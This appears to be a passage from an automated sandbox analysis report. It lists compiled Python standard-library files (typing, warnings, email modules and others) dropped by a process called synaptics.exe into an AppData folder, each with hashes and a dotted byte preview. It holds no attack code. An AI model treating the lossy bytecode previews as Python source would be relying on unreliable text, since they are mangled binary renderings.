file.N......file..end)...sys..stderrr......from_list..format..print)...extracted_l

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\types.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D349511E74ECDBF3B0EAA6F7B46FAEFE
              SHA1:032FA6C126CD4DD11C6F7F8213A8DF265B3D8475
              SHA-256:6F58622BA452B6DAACC3BB41933F5D0F0F679A53814028B7373B75183ED81CAD
              SHA-512:F7C4FECBC0DF365446DFA4469A30FD418769B0820D687BEA2EB577EAFA19914F6E1267C8DEEB3D329ED9C69BA0C8C1D2D4760EF1CEB2C824EA284874CE222FD5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.(.......................@...s....d.Z.d.d.l.Z.d.d...Z.e.e...Z.e.d.d.....Z.e.e.j...Z.e.e.j...Z.e.e.j...Z.d.d...Z.e.e.....Z.d.d...Z.e.e.....Z.d.d...Z.e...Z.e.e...Z.e.......d.d...Z.e...Z.e.e...Z.G.d.d...d...Z.e.e...j...Z.e.e...Z.e.g.j...Z.e.e.j...Z.e.e...j...Z e.e!j"..Z#e.e$j.d.....Z%e.e...Z&z.e'....e'y.......e..(..d...Z)e.e)..Z*e.e)j+..Z,d.Z)[)Y.n.w.e.e.j...Z-e.e.j...Z/[.[.[.[.[.[.d$d.d...Z0d.d...Z1d%d.d...Z2d.d...Z3G.d.d...d...Z4G.d.d...d...Z5d d!..Z6e.e7e8....Z9e.e8e!B...Z:e.e;..Z<e.d...Z=e.e>..Z?d"d#..e@..D...ZAd.S.)&zO.Define names for built-in types that aren't directly accessible as a builtin.......Nc....................C........d.S...N..r....r....r.....3C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\types.py.._f...........r....c....................C...r....r....r....r....r....r....r......<lambda>....r....r....c........................s....d.....f.d.d...}.|.j.d...S.).N.....c........................r....r....r....r........ar....r......f....r....z._cell_factory.<locals>.fr...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\typing.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B207501014EF7FDCF122C64CBA66C957
              SHA1:A62EE43FFDF5AFB7D95C1764120C5AC4E6938ACB
              SHA-256:855EE17ED0BD9164D63C4E9409945AFFCA7C34AB39C4F928A5588952AC9A3F98
              SHA-512:B7EF163BE084B1ABCFBADAF0333C07D89CCA6724F2CD5EC86A420274B2DDA831D1D5A1C992D197A9E66DEC6B0FEDF5C5BFF4B4E4B61D18BB584478CB226113D9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.t.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...g.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.g.Z.d.d.d...d.d...Z.e...f.d d!..Z.G.d"d#..d#..Z G.d$d%..d%..Z!G.d&d'..d'e d.d(..Z"G.d)d*..d*e"d.d(..Z#e"d+d,....Z$e"d-d.....Z%e"d/d0....Z&e"d1d2....Z'e"d3d4....Z(e"d5d6....Z)e#e.d.d...d7d8......Z*e"d9d:....Z+e"d;d<....Z,e"d=d>....Z-G.d?d@..d@e d.d(..Z.G.dAdB..dB..Z/G.dCdD..dDe e!e/d.d(..Z0G.dEdF..dFe e!d.d(..Z1G.dGdH..dHe e!d.d(..Z2G.dIdJ..dJe e!e/d.d(..Z3dKdL..Z4G.dMdN..dNe d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d|..d|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\uu.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A791981EA17563CE9794AC7645E10324
              SHA1:0C06CCB6014442BE7C31E6251EC68E3DA1C91684
              SHA-256:F31359C7D157D58C89F128079D5976AA3C80C8759F56CBF3982F53E77C6284CA
              SHA-512:3919B2251B3FC041A30360EB4B3CB1375C248B3387DAF20AA1C5CED17BBEA3EACE5EFFDA12B6A9B717EDE7EA4423033B2B08E589D0A1203F5833D2FAFF647D37
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.d.d.d...d.d...Z.d.d.d...Z.d.d...Z.e.d.k.r4e.....d.S.d.S.).z.Implementation of the UUencode and UUdecode functions...encode(in_file, out_file [,name, mode], *, backtick=False).decode(in_file [, out_file, mode, quiet])......N)...Error..encode..decodec....................@...s....e.Z.d.Z.d.S.).r....N)...__name__..__module__..__qualname__..r....r.....0C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\uu.pyr....'...s........r....F....backtickc....................C...sx...g.}.z.|.d.k.r.t.j.j.}.n/t.|.t...r;|.d.u.r.t.j...|...}.|.d.u.r1z.t...|...j.}.W.n...t.y0......Y.n.w.t.|.d...}.|...|.....|.d.k.rDt.j.j.}.n.t.|.t...rSt.|.d...}.|...|.....|.d.u.rYd.}.|.d.u.r_d.}.|...d.d...}.|...d.d...}.|...d.|.d.@.|.f.....d.......|...d...}.t.|...d.k.r.|...t.j.|.|.d.......|...d...}.t.|...d.k.s.|.r.|...d.....n.|...d.....W.|.D.].}.|.......q.d.S.|.D.].}.|.......q.w.).z.Uuencode file..-N..rb..wbi.......z.\n...z.\rz.begin %o %s.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\warnings.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:56E73828290F9A83F44B64F8DE6D73C6
              SHA1:552F3729EA7AD83B0D906F88D527B386BDF00F8C
              SHA-256:DCA44C290A2939C7185DF560A32ACD4EECE40C8A62E6C932C732CFFFA8C664CB
              SHA-512:6D25C871AA5F1975CF3786C2CF1BF2AF2FCB07935877E69DD09D59BCF2C4F59D93A4412A123D20A871037E1134FAA141F14C0AC96E542CCCA7D121DF7E133F6E
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d=d.d...Z.d>d.d...Z.d.d...Z.d.d...Z.e.Z.d.d...Z.e.Z.d.d...Z.d.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d?d)d*..Z.....d@d+d,..Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.d1d2..Z.z.d.d3l.m.Z.m Z m!Z!m.Z.m.Z.m"Z"..e Z#e!Z$d4Z%W.n...e&y.......g.Z.d5Z#i.Z$d(a'd6d7..Z"d.Z%Y.n.w.e.e.j(....e%s.e)e.d8..s.e.d5e*d9d(d:....e.d;e*d(d<....e.d;e+d(d<....e.d;e,d(d<....e.d;e-d(d<....[%d.S.)Az&Python part of the warnings subsystem......N)...warn..warn_explicit..showwarning..formatwarning..filterwarnings..simplefilter..resetwarnings..catch_warningsc....................C...s....t.|.|.|.|.|.|...}.t.|.....d.S.)..7Hook to write a warning to a file; replace if you like.N)...WarningMessage.._showwarnmsg_impl)...message..category..filename..lineno..file..line..msg..r.....6C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\warnings.pyr........s........r....c....................C...s....t.|.|.|

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\weakref.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D0FE3D0175A04413C39B7DB79E5926E2
              SHA1:306ACF91633B6BA4AD21B86A4D85622D0CBE3BF7
              SHA-256:82845D23CF96BE87C916FF267AF4F6AFD410479A2313C55B0F757B2D16FA7C6F
              SHA-512:30AE47A6AFBFDEACD4332F59DDFDA2D1C736B13F1377E9950DBE42351088A5DEB9233745E4C7C6F4EBF5D345A5228FC4BCF8ECA46F7C9BE6D4C3E1B211A66DC8
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.V.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.e.f.Z.g.d...Z.e.j...e.....e.j...e.....G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d...Z.d.S.).z|Weak reference support for Python...This module is an implementation of PEP 205:..https://www.python.org/dev/peps/pep-0205/......)...getweakrefcount..getweakrefs..ref..proxy..CallableProxyType..ProxyType..ReferenceType.._remove_dead_weakref)...WeakSet.._IterationGuardN).r....r....r....r......WeakKeyDictionaryr....r....r......ProxyTypes..WeakValueDictionaryr......WeakMethod..finalizec........................sD...e.Z.d.Z.d.Z.d.Z.d.d.d...Z...f.d.d...Z.d.d...Z.d.d...Z.e.j.Z.....Z.S.).r....z.. A custom `weakref.ref` subclass which simulates a weak reference to. a bound method, working around the lifetime problem of bound methods.. )..._func_ref.._meth_type.._alive..__weakref__Nc........................sx...z.|.j.}.|.j.}.W.n...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\collections\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:72268E47A18C702F90081B1C0E70534A
              SHA1:9478653BAE2ABF848A027EE9AD3E1F651C09A7BE
              SHA-256:CE132669047E9CCDC8A875440CC592E6C92D2D277A97370468E00444CA380C0B
              SHA-512:DF509158A9F635A23938E3CB85486E3ED28F4159A9F8015EFCF71F8B8EAED163BDE87656D24468A01207B40133A8579C79A9D74ECCDBEAEA1DD077B71E15EAF3
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.m*Z*..W.n...e.y.......d.d...Z*Y.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d*..d*e.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple...* namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\collections\__pycache__\abc.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A070CF64EFE6D35A69176EF9CFD2F895
              SHA1:E1494EAFD82A6638180A6AC52BD84BF8CE4A742B
              SHA-256:99AB14347E32E8A12CE834700821CF78F9E62454D7DA0AAEC5C597241B2325DE
              SHA-512:9E5C64FBDB6A57C03AEE1282DC3F09A9468A987E212C6BCC1DCAE1D2B8E44F0572A2DF1AB049E4500CC0DE3448CBD7C2186B4776E14129E2236DB93DF590BE94
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGeneriuserasN)..._collections_abcr....r......r....r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\collections\abc.py..<module>....s..........

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D358E98A4DB3A48637930E64B8F9CBDB
              SHA1:7D4027B39B564096A6D914B1407FD49E1DCA488A
              SHA-256:049A8EEDD7176C148469B3B16111F6A254E8A90E0D022336AA05814A7B1FB851
              SHA-512:45DCB74599C729DD052207E1F0F136CA878738CBEB2B0741F477BAC0434C5160FFBDA4F86AC11093B78FA063CEE3FEE572C6A85492977D76DE86B91D7C33ED36
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d$........................@...s0...d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z?A package for parsing, handling, and generating email messages.).Z.base64mime..charsetZ.encoders..errorsZ.feedparser..generator..headerZ.iterators..message..message_from_file..message_from_binary_file..message_from_string..message_from_bytesZ.mimeZ.parserZ.quoprimime..utilsc....................O.... ...d.d.l.m.}...|.|.i.|.......|...S.).zvParse a string into a Message object model... Optional _class and strict are passed to the Parser constructor.. .........Parser)...email.parserr....Z.parsestr)...s..args..kwsr......r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__init__.pyr.... ............r....c....................O...r....).z|Parse a bytes string into a Message object model... Optional _class and strict are passed to the Parser constructor.. r........BytesParser).r....r....Z.parsebytes).r....r....r....r....r....r....r....r....(...r....r....c....................O...r.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\_encoded_words.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:4823BAD69F95D3F7379B91C8C2D96E06
              SHA1:B53CF4BCCA4C686193BB9AC8201ABE008F9F31E6
              SHA-256:4D0A0378AD32F9DCBED09F1BD418617E48EF6AB4DA70D124397DD2EBB2B3A340
              SHA-512:EF3D042D17F371CBCB0340F8975CEE282ABB61775DC9367AD67CACF03CEC447F47D54BDB8FF4508D63D6A03B45F32EE3233177EC2BEC612FCF9B47B201E50634
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dF".......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.e...e...d...j.d.d.....Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.e.e.d...<.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.e.d...Z.d.d...Z.e.e.d...Z.e.e.d...Z.d d.d...Z.d.S.)!z. Routines for manipulating RFC2047 encoded words...This is currently a package-private API, but will be considered for promotion.to a public API if there is demand........N)...ascii_letters..digits)...errors)...decode_q..encode_q..decode_b..encode_b..len_q..len_b..decode..encodes....=([a-fA-F0-9]{2})c....................C...s....t...|...d.........S.).N.....)...bytes..fromhex..groupr....)...m..r.....BC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\_encoded_words.py..<lambda>A...s......r....c....................C...s....|...d.d...}.t.|...g.f.S.).N....._..... )...replace.._q_byte_subber)...encodedr....r....r....r....C...s........r....c....................@...s,...e.Z.d.Z.d.e...d.....e...d.....Z.d.d...Z.d.S.)..._Q

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\_parseaddr.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:94CED1C9CC16B639D29330D559F6F6D5
              SHA1:D731803F3C64D8B6E572216BD17CDF9A738FC1B6
              SHA-256:BAE449E841CC537F72DBEB918F8ADE5C6D54FCD44A174AC6CB0853B397536AF0
              SHA-512:12651330F1920FCB784959DE72A6277D9F6A87982DD67466D8C0EBD9B4146A361786217B71A8F8DA4BE6D3CA33F03224599908342FDCF597554ADAD9391200A3
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.G.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.Z.g.d...Z.g.d...Z.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).zcEmail address parsing code...Lifted directly from rfc822.py. This should eventually be rewritten..)...mktime_tz..parsedate..parsedate_tz..quote.....N.. ..z., ).Z.janZ.febZ.marZ.apr..mayZ.junZ.julZ.aug..sep..octZ.novZ.decZ.januaryZ.februaryZ.marchZ.aprilr....Z.juneZ.julyZ.augustZ.septemberZ.octoberZ.novemberZ.december).Z.monZ.tueZ.wedZ.thuZ.friZ.satZ.sunip...i....i....i....iD...i....).Z.UTZ.UTC..GMT..ZZ.ASTZ.ADTZ.ESTZ.EDTZ.CSTZ.CDTZ.MSTZ.MDTZ.PSTZ.PDTc....................C...s,...t.|...}.|.s.d.S.|.d...d.u.r.d.|.d.<.t.|...S.).zQConvert a date string to a time tuple... Accounts for military timezones.. N.....r....)..._parsedate_tz..tuple)...data..res..r.....>C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\_parseaddr.pyr....-...s................r....c....................C

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\_policybase.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:F9052D09F90E99C1C0B62F796CB2E5FC
              SHA1:961670F7D98F9B4D6278C13ECB5C8AB6CE031D4C
              SHA-256:5494F28337CD1D82BF358111BCB0A6A88D9056B2C065E8A10DD5559D5C92A532
              SHA-512:5EFA9FA4127E4AA9051CA5191A521744B4937E63852B01E176F14696AA1986585E69AF2B14F5002C3F0CA8BE110A8A8C9E5E49453E458EDD16D1680298795B58
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-dW<.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.G.d.d...d.e.e.j.d...Z.e.G.d.d...d.e.....Z.e...Z.d.S.).zwPolicy framework for the email package...Allows fine grained feature control of how the package parses and emits data.......N)...header)...charset)..._has_surrogates)...Policy..Compat32..compat32c........................s@...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.)..._PolicyBasea....Policy Object basic framework... This class is useless unless subclassed. A subclass should define. class attributes with defaults for any values that are to be. managed by the Policy object. The constructor will then allow. non-default values to be set for these attributes at instance. creation time. The instance will be callable, taking these same. attributes keyword arguments, and returning a new instance. identical to the called instance except for those values changed.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\base64mime.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B604B81D3B11E0BDBF0A4C1B088B0912
              SHA1:25F19A9237F08192787D885EABE7000548649A7A
              SHA-256:584EFCC0C64E91CCBDA88BFAC0230011F1C8ECFC6ABB2A37CC267B8DA3F1F8A2
              SHA-512:0F20BB61F54D579D7CC989FCDC7F79855225D623E894E25B1E7C2790104EB5BCAFFD0681FEB7492CF71ECAF0328C3132B2F465FE864B989DC2EB2CB6CA18293F
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d^........................@...sl...d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d.d...Z.d.e.f.d.d...Z.d.d...Z.e.Z.e.Z.d.S.).a....Base64 content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit.characters encoding known as Base64...It is used in the MIME standards for email to attach images, audio, and text.using some 8-bit character sets to messages...This module provides an interface to encode and decode both headers and bodies.with Base64 encoding...RFC 2045 defines a method for including character set information in an.`encoded-word' in a header. This method is commonly used for 8-bit real names.in To:, From:, Cc:, etc. fields, as well as Subject: lines...This module does not do the line wrapping or end-of-line character conversion.necessary for proper internationalized headers; it only does dumb encoding and.dec

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\charset.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:ED07FED40B09DAE7329854910AC371B7
              SHA1:90F804DA301B8C38C5E57EA27669F0986EDD9EBE
              SHA-256:BA9C371BAC97C4059BFA57B5C0AC07BB89793E6D6E978BFAF2A5B653CFC89E83
              SHA-512:C2CEAC4105E7CC17E1B3D0724091E6C6E302452CABD85909692A87A42FAEB1807BE106C1C2EDCFEBA4A03E845C053269819ACDD804E43F1B9587DEC74087B6F6
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d|D.......................@...s....g.d...Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.d...d.e.e.d.f...d.e.e.d.f...d.e.d.d.f...d.e.d.d.f...e.d.d.f.e.e.d.f.e.e.d.f.d ....Z.i.d!d...d"d...d#d...d$d...d%d...d&d...d'd...d(d...d)d...d*d...d+d...d,d...d-d...d.d...d/d...d0d...d1d...d.d.d.d2d.d3d.d4....Z.d5d6d.d7..Z.d.d8d9..Z.d:d;..Z.d<d=..Z.d>d?..Z.G.d@dA..dA..Z.d.S.)B)...Charset..add_alias..add_charset..add_codec.....)...partialN)...errors)...encode_7or8bit......................us-asciiz.unknown-8bit..z.iso-8859-1z.iso-8859-2z.iso-8859-3z.iso-8859-4z.iso-8859-9z.iso-8859-10z.iso-8859-13z.iso-8859-14z.iso-8859-15z.iso-8859-16z.windows-1252Z.viscii).NNN..big5..gb2312z.euc-jp..iso-2022-jp..shift_jis..utf-8).r....z.koi8-rr......latin_1z.latin-1Z.latin_2z.latin-2Z.latin_3z.latin-3Z.latin_4z.latin-4Z.latin_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\encoders.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:6EA18C8613F557AD4BA5E3B0E68F3D4A
              SHA1:149A5E2C4480253DA34815E0A89FBB6668F852A7
              SHA-256:DE1D131BA615AEA4ECC343B0CEFCE266953DCB84FF0D6FB0CD1528F766F8F0DB
              SHA-512:5326AC5CF1BFD1BD4D50622877241C3DE3C6B5F9C0641E8B473CB04F30E5D8349629A77F46B96EE72FA8F5333871849164CBF91DCEA7C9D06F8AA27C3C4456DE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d?........................@...sP...d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z Encodings and related functions.)...encode_7or8bit..encode_base64..encode_noop..encode_quopri.....)...encodebytes)...encodestringc....................C...s....t.|.d.d...}.|...d.d...S.).NT).Z.quotetabs..... s....=20)..._encodestring..replace)...s..enc..r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\encoders.py.._qencode....s........r....c....................C...s0...|.j.d.d...}.t.t.|...d...}.|...|.....d.|.d.<.d.S.).zlEncode the message's payload in Base64... Also, add an appropriate Content-Transfer-Encoding header.. T....decode..ascii..base64..Content-Transfer-EncodingN)...get_payload..str.._bencode..set_payload....msg..origZ.encdatar....r....r....r........s............r....c....................C...s*...|.j.d.d...}.t.|...}.|...|.....d.|.d.<.d.S.).zvEncode the message's payload in quoted-printable... Also, add an appropriate Content-Transfer

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\errors.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:B14EA9AF833DA08E94667F4BE402FC80
              SHA1:7298D9E84D922131C5AB539BDD8F842CD3EF24EC
              SHA-256:F4636D9DEBDAFF63CC4E85AAE482F08F2651D84631C39F5BAF31FB6BC128FBBA
              SHA-512:06EB6CB0406EC0FB0495A6E59BA42F19E9F3DE80B7E5C14271785B8AD0A5C571903D14A8A1697005F4328099C34829ADBBAD159CEECC328A32C55361DA686A26
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&e...Z.G.d'd(..d(e...Z.G.d)d*..d*e...Z.G.d+d,..d,e...Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.G.d1d2..d2e...Z.G.d3d4..d4e...Z.d5S.)6z email package exception classes.c....................@........e.Z.d.Z.d.Z.d.S.)...MessageErrorz+Base class for errors in the email package.N....__name__..__module__..__qualname__..__doc__..r....r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\errors.pyr.................r....c....................@...r....)...MessageParseErrorz&Base class for message parsing errors.Nr....r....r....r....r....r........r....r....c....................@...r....)...HeaderParseErrorz.Error while parsing headers.Nr....r....r....r....r

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\email\__pycache__\feedparser.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:597F94D31EC1467BAD09D7443FEFD2E6
              SHA1:1AA65B65A92D4C4CF594846ECD10AB15E3C934A5
              SHA-256:7F165993566568EB72A65DA38A54973EDE895A26449EFA8A00E13F192956C4BB
              SHA-512:4BAA0F965B8491264BDF29014919110BB53112A8B0941C1E906B088CAC4764D99C8D42D0E570BA3F865650F941C520B29DCC0EBF78A9B90465A8AD49B05154FE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.[.......................@...s....d.Z.d.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.d.Z.d.Z.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).a....FeedParser - An email feed parser...The feed parser implements an interface for incrementally parsing an email.message, line by line. This has advantages for certain applications, such as.those reading email messages off a socket...FeedParser.feed() is the primary interface for pushing new data into the.parser. It returns when there's nothing more it can do with the available.data. When you have no more data to push into the parser, call .close()..This completes the parsing and returns the root message object...The other advantage of this parser is that it will never raise a parsing.exception. Instead, when it finds something unexpected, it 